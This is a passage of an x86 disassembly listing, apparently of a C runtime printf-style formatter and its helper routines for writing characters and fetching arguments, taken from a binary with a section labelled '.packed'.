		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_410D8E
; ---------------------------------------------------------------------------


loc_410D7A:				; CODE XREF: sub_410C9B+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_415AF3
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_410D8E:				; CODE XREF: sub_410C9B+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_410D9A
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_410DA9
; ---------------------------------------------------------------------------


loc_410D9A:				; CODE XREF: sub_410C9B+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_410DAC
; ---------------------------------------------------------------------------


loc_410DA4:				; CODE XREF: sub_410C9B+10j
					; sub_410C9B+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_410DA9:				; CODE XREF: sub_410C9B+FDj
		or	eax, 0FFFFFFFFh


loc_410DAC:				; CODE XREF: sub_410C9B+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410C9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DB0	proc near		; CODE XREF: sub_40E7AB+28p
					; sub_40EE10+29p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_4114C9
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_410DE4
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410DB0+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_410DE4:				; CODE XREF: sub_410DB0+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_4114C9
		cmp	bl, 20h
		jl	short loc_410E05
		cmp	bl, 78h
		jg	short loc_410E05
		movsx	eax, bl
		mov	al, [eax+41A2C4h]
		and	eax, 0Fh
		jmp	short loc_410E07
; ---------------------------------------------------------------------------


loc_410E05:				; CODE XREF: sub_410DB0+40j
					; sub_410DB0+45j
		xor	eax, eax


loc_410E07:				; CODE XREF: sub_410DB0+53j
		movsx	eax, byte_41A2E4[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_4114B8	; default
		jmp	off_4114D1[eax*4] ; switch jump


loc_410E25:				; DATA XREF: .packed:off_4114D1o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00410E1E case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410E40:				; CODE XREF: sub_410DB0+6Ej
					; DATA XREF: .packed:off_4114D1o
		movsx	eax, bl		; jumptable 00410E1E case 2
		sub	eax, 20h
		jz	short loc_410E83
		sub	eax, 3
		jz	short loc_410E7A
		sub	eax, 8
		jz	short loc_410E71
		dec	eax
		dec	eax
		jz	short loc_410E68
		sub	eax, 3
		jnz	loc_4114B8	; default
		or	[ebp+var_4], 8
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410E68:				; CODE XREF: sub_410DB0+A4j
		or	[ebp+var_4], 4
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410DB0+A0j
		or	[ebp+var_4], 1
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410E7A:				; CODE XREF: sub_410DB0+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410E83:				; CODE XREF: sub_410DB0+96j
		or	[ebp+var_4], 2
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410E8C:				; CODE XREF: sub_410DB0+6Ej
					; DATA XREF: .packed:off_4114D1o
		cmp	bl, 2Ah		; jumptable 00410E1E case 3
		jnz	short loc_410EB4
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41158F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_4114B8	; default
		or	[ebp+var_4], 4
		neg	eax


loc_410EAC:				; CODE XREF: sub_410DB0+111j
		mov	[ebp+var_20], eax
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410EB4:				; CODE XREF: sub_410DB0+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_410EAC
; ---------------------------------------------------------------------------


loc_410EC3:				; CODE XREF: sub_410DB0+6Ej
					; DATA XREF: .packed:off_4114D1o
		mov	[ebp+var_10], edx ; jumptable 00410E1E case 4
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410ECB:				; CODE XREF: sub_410DB0+6Ej
					; DATA XREF: .packed:off_4114D1o
		cmp	bl, 2Ah		; jumptable 00410E1E case 5
		jnz	short loc_410EEE
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41158F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_4114B8	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410EEE:				; CODE XREF: sub_410DB0+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410F00:				; CODE XREF: sub_410DB0+6Ej
					; DATA XREF: .packed:off_4114D1o
		cmp	bl, 49h		; jumptable 00410E1E case 6
		jz	short loc_410F33
		cmp	bl, 68h
		jz	short loc_410F2A
		cmp	bl, 6Ch
		jz	short loc_410F21
		cmp	bl, 77h
		jnz	loc_4114B8	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410F21:				; CODE XREF: sub_410DB0+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410F2A:				; CODE XREF: sub_410DB0+158j
		or	[ebp+var_4], 20h
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410F33:				; CODE XREF: sub_410DB0+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_410F4C
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_410F4C
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410F4C:				; CODE XREF: sub_410DB0+186j
					; sub_410DB0+18Cj
		mov	[ebp+var_30], edx


loc_410F4F:				; CODE XREF: sub_410DB0+6Ej
					; DATA XREF: .packed:off_4114D1o
		mov	ecx, off_424224	; jumptable 00410E1E case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_410F7B
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4114F1
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_410F7B:				; CODE XREF: sub_410DB0+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4114F1
		add	esp, 0Ch
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_410F93:				; CODE XREF: sub_410DB0+6Ej
					; DATA XREF: .packed:off_4114D1o
		movsx	eax, bl		; jumptable 00410E1E case 7
		cmp	eax, 67h
		jg	loc_4111BB
		cmp	eax, 65h
		jge	loc_41103E
		cmp	eax, 58h
		jg	loc_41109C
		jz	loc_41122F
		sub	eax, 43h
		jz	loc_41105F
		dec	eax
		dec	eax
		jz	short loc_411034
		dec	eax
		dec	eax
		jz	short loc_411034
		sub	eax, 0Ch
		jnz	loc_4113BA
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_410FDD
		or	byte ptr [ebp+var_4+1],	8


loc_410FDD:				; CODE XREF: sub_410DB0+227j
					; sub_410DB0+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_410FEA
		mov	esi, 7FFFFFFFh


loc_410FEA:				; CODE XREF: sub_410DB0+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41158F
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_411203
		test	ecx, ecx
		jnz	short loc_411012
		mov	ecx, off_42209C
		mov	[ebp+var_8], ecx


loc_411012:				; CODE XREF: sub_410DB0+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41101B:				; CODE XREF: sub_410DB0+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4111FA
		cmp	word ptr [eax],	0
		jz	loc_4111FA
		inc	eax
		inc	eax
		jmp	short loc_41101B
; ---------------------------------------------------------------------------


loc_411034:				; CODE XREF: sub_410DB0+212j
					; sub_410DB0+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41103E:				; CODE XREF: sub_410DB0+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_411122
		mov	[ebp+var_10], 6
		jmp	loc_411130
; ---------------------------------------------------------------------------


loc_41105F:				; CODE XREF: sub_410DB0+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41106B
		or	byte ptr [ebp+var_4+1],	8


loc_41106B:				; CODE XREF: sub_410DB0+2B5j
					; sub_410DB0+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4110B2
		call	sub_4115AC
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416AAF
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_4110C5
		mov	[ebp+var_28], 1
		jmp	short loc_4110C5
; ---------------------------------------------------------------------------


loc_41109C:				; CODE XREF: sub_410DB0+1FBj
		sub	eax, 5Ah
		jz	short loc_4110D3
		sub	eax, 9
		jz	short loc_41106B
		dec	eax
		jz	loc_411295
		jmp	loc_4113BA
; ---------------------------------------------------------------------------


loc_4110B2:				; CODE XREF: sub_410DB0+2C5j
		call	sub_41158F
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_4110C5:				; CODE XREF: sub_410DB0+2E1j
					; sub_410DB0+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_4113BA
; ---------------------------------------------------------------------------


loc_4110D3:				; CODE XREF: sub_410DB0+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41158F
		test	eax, eax
		pop	ecx
		jz	short loc_411114
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_411114
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_411105
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_4113BA
; ---------------------------------------------------------------------------


loc_411105:				; CODE XREF: sub_410DB0+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_4113B7
; ---------------------------------------------------------------------------


loc_411114:				; CODE XREF: sub_410DB0+32Fj
					; sub_410DB0+336j
		mov	eax, off_422098
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_4111B0
; ---------------------------------------------------------------------------


loc_411122:				; CODE XREF: sub_410DB0+29Dj
		jnz	short loc_411130
		cmp	bl, 67h
		jnz	short loc_411130
		mov	[ebp+var_10], 1


loc_411130:				; CODE XREF: sub_410DB0+2AAj
					; sub_410DB0:loc_411122j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_4241E8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_411182
		cmp	[ebp+var_10], 0
		jnz	short loc_411182
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4241F4
		pop	ecx


loc_411182:				; CODE XREF: sub_410DB0+3BCj
					; sub_410DB0+3C2j
		cmp	bl, 67h
		jnz	short loc_411199
		test	esi, esi
		jnz	short loc_411199
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4241EC
		pop	ecx


loc_411199:				; CODE XREF: sub_410DB0+3D5j
					; sub_410DB0+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_4111AF
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_4111AF:				; CODE XREF: sub_410DB0+3F0j
		push	edi


loc_4111B0:				; CODE XREF: sub_410DB0+36Dj
		call	sub_40E730
		pop	ecx
		jmp	loc_4113B7
; ---------------------------------------------------------------------------


loc_4111BB:				; CODE XREF: sub_410DB0+1E9j
		sub	eax, 69h
		jz	loc_411295
		sub	eax, 5
		jz	loc_41126B
		dec	eax
		jz	loc_411258
		dec	eax
		jz	short loc_411228
		sub	eax, 3
		jz	loc_410FDD
		dec	eax
		dec	eax
		jz	loc_411299
		sub	eax, 3
		jnz	loc_4113BA
		mov	[ebp+var_2C], 27h
		jmp	short loc_411236
; ---------------------------------------------------------------------------


loc_4111FA:				; CODE XREF: sub_410DB0+270j
					; sub_410DB0+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_4113B7
; ---------------------------------------------------------------------------


loc_411203:				; CODE XREF: sub_410DB0+24Fj
		test	ecx, ecx
		jnz	short loc_411210
		mov	ecx, off_422098
		mov	[ebp+var_8], ecx


loc_411210:				; CODE XREF: sub_410DB0+455j
		mov	eax, ecx


loc_411212:				; CODE XREF: sub_410DB0+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_411221
		cmp	byte ptr [eax],	0
		jz	short loc_411221
		inc	eax
		jmp	short loc_411212
; ---------------------------------------------------------------------------


loc_411221:				; CODE XREF: sub_410DB0+467j
					; sub_410DB0+46Cj
		sub	eax, ecx
		jmp	loc_4113B7
; ---------------------------------------------------------------------------


loc_411228:				; CODE XREF: sub_410DB0+425j
		mov	[ebp+var_10], 8


loc_41122F:				; CODE XREF: sub_410DB0+201j
		mov	[ebp+var_2C], 7


loc_411236:				; CODE XREF: sub_410DB0+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_4112A0
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_4112A0
; ---------------------------------------------------------------------------


loc_411258:				; CODE XREF: sub_410DB0+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_4112A0
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_4112A0
; ---------------------------------------------------------------------------


loc_41126B:				; CODE XREF: sub_410DB0+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41158F
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_411284
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_411289
; ---------------------------------------------------------------------------


loc_411284:				; CODE XREF: sub_410DB0+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_411289:				; CODE XREF: sub_410DB0+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_4114B8	; default
; ---------------------------------------------------------------------------


loc_411295:				; CODE XREF: sub_410DB0+2F7j
					; sub_410DB0+40Ej
		or	[ebp+var_4], 40h


loc_411299:				; CODE XREF: sub_410DB0+432j
		mov	[ebp+var_C], 0Ah


loc_4112A0:				; CODE XREF: sub_410DB0+491j
					; sub_410DB0+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_4112B2
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41159C
		pop	ecx
		jmp	short loc_4112F3
; ---------------------------------------------------------------------------


loc_4112B2:				; CODE XREF: sub_410DB0+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_4112D9
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4112CE
		call	sub_41158F
		pop	ecx
		movsx	eax, ax


loc_4112CB:				; CODE XREF: sub_410DB0+527j
					; sub_410DB0+539j
		cdq
		jmp	short loc_4112F3
; ---------------------------------------------------------------------------


loc_4112CE:				; CODE XREF: sub_410DB0+510j
		call	sub_41158F
		pop	ecx
		movzx	eax, ax
		jmp	short loc_4112CB
; ---------------------------------------------------------------------------


loc_4112D9:				; CODE XREF: sub_410DB0+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4112EB
		call	sub_41158F
		pop	ecx
		jmp	short loc_4112CB
; ---------------------------------------------------------------------------


loc_4112EB:				; CODE XREF: sub_410DB0+531j
		call	sub_41158F
		pop	ecx
		xor	edx, edx


loc_4112F3:				; CODE XREF: sub_410DB0+500j
					; sub_410DB0+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_411314
		test	edx, edx
		jg	short loc_411314
		jl	short loc_411303
		test	eax, eax
		jnb	short loc_411314


loc_411303:				; CODE XREF: sub_410DB0+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_411318
; ---------------------------------------------------------------------------


loc_411314:				; CODE XREF: sub_410DB0+547j
					; sub_410DB0+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_411318:				; CODE XREF: sub_410DB0+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_411321
		and	edi, 0


loc_411321:				; CODE XREF: sub_410DB0+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_411330
		mov	[ebp+var_10], 1
		jmp	short loc_411334
; ---------------------------------------------------------------------------


loc_411330:				; CODE XREF: sub_410DB0+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_411334:				; CODE XREF: sub_410DB0+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41133E
		and	[ebp+var_1C], 0


loc_41133E:				; CODE XREF: sub_410DB0+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_411344:				; CODE XREF: sub_410DB0+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_411354
		mov	eax, esi
		or	eax, edi
		jz	short loc_41138F


loc_411354:				; CODE XREF: sub_410DB0+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4105E0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_410660
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_411385
		add	ebx, [ebp+var_2C]


loc_411385:				; CODE XREF: sub_410DB0+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_411344
; ---------------------------------------------------------------------------


loc_41138F:				; CODE XREF: sub_410DB0+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_4113BA
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_4113AD
		test	eax, eax
		jnz	short loc_4113BA


loc_4113AD:				; CODE XREF: sub_410DB0+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_4113B7:				; CODE XREF: sub_410DB0+35Fj
					; sub_410DB0+406j ...
		mov	[ebp+var_C], eax


loc_4113BA:				; CODE XREF: sub_410DB0+21Bj
					; sub_410DB0+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_4114B8	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_4113F2
		test	bh, 1
		jz	short loc_4113D7
		mov	[ebp+var_16], 2Dh
		jmp	short loc_4113EB
; ---------------------------------------------------------------------------


loc_4113D7:				; CODE XREF: sub_410DB0+61Fj
		test	bl, 1
		jz	short loc_4113E2
		mov	[ebp+var_16], 2Bh
		jmp	short loc_4113EB
; ---------------------------------------------------------------------------


loc_4113E2:				; CODE XREF: sub_410DB0+62Aj
		test	bl, 2
		jz	short loc_4113F2
		mov	[ebp+var_16], 20h


loc_4113EB:				; CODE XREF: sub_410DB0+625j
					; sub_410DB0+630j
		mov	[ebp+var_1C], 1


loc_4113F2:				; CODE XREF: sub_410DB0+61Aj
					; sub_410DB0+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_411412
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_411526
		add	esp, 10h


loc_411412:				; CODE XREF: sub_410DB0+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_411557
		add	esp, 10h
		test	bl, 8
		jz	short loc_411444
		test	bl, 4
		jnz	short loc_411444
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_411526
		add	esp, 10h


loc_411444:				; CODE XREF: sub_410DB0+67Bj
					; sub_410DB0+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41148B
		cmp	[ebp+var_C], 0
		jle	short loc_41148B
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_411459:				; CODE XREF: sub_410DB0+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_416AAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4114A0
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_411557
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_411459
		jmp	short loc_4114A0
; ---------------------------------------------------------------------------


loc_41148B:				; CODE XREF: sub_410DB0+698j
					; sub_410DB0+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_411557
		add	esp, 10h


loc_4114A0:				; CODE XREF: sub_410DB0+6BCj
					; sub_410DB0+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_4114B8 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_411526
		add	esp, 10h


loc_4114B8:				; CODE XREF: sub_410DB0+68j
					; sub_410DB0+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_410DDC


loc_4114C9:				; CODE XREF: sub_410DB0+1Fj
					; sub_410DB0+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410DB0	endp

; ---------------------------------------------------------------------------
off_4114D1	dd offset loc_410F4F	; DATA XREF: sub_410DB0+6Er
		dd offset loc_410E25	; jump table for switch	statement
		dd offset loc_410E40
		dd offset loc_410E8C
		dd offset loc_410EC3
		dd offset loc_410ECB
		dd offset loc_410F00
		dd offset loc_410F93

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114F1	proc near		; CODE XREF: sub_410DB0+1BDp
					; sub_410DB0+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41150A
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_411515
; ---------------------------------------------------------------------------


loc_41150A:				; CODE XREF: sub_4114F1+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_410C9B
		pop	ecx
		pop	ecx


loc_411515:				; CODE XREF: sub_4114F1+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_411522
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411522:				; CODE XREF: sub_4114F1+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4114F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_411526	proc near		; CODE XREF: sub_410DB0+65Ap
					; sub_410DB0+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_411554
		mov	esi, [esp+8+arg_C]


loc_411537:				; CODE XREF: sub_411526+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_4114F1
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_411554
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_411537


loc_411554:				; CODE XREF: sub_411526+Bj
					; sub_411526+25j
		pop	edi
		pop	esi
		retn
sub_411526	endp


; =============== S U B	R O U T	I N E =======================================



sub_411557	proc near		; CODE XREF: sub_410DB0+670p
					; sub_410DB0+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41158B
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41156D:				; CODE XREF: sub_411557+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_4114F1
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41158B
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41156D


loc_41158B:				; CODE XREF: sub_411557+Cj
					; sub_411557+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_411557	endp


; =============== S U B	R O U T	I N E =======================================



sub_41158F	proc near		; CODE XREF: sub_410DB0+E5p
					; sub_410DB0+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41158F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41159C	proc near		; CODE XREF: sub_410DB0+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41159C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4115AC	proc near		; CODE XREF: sub_410DB0+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_4115AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4115BA	proc near		; CODE XREF: sub_40E894+1Fp
					; sub_414008+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4BA2E0
		test	eax, eax
		jz	short loc_4115D2
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_4115D2
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4115D2:				; CODE XREF: sub_4115BA+7j
					; sub_4115BA+12j
		xor	eax, eax
		retn
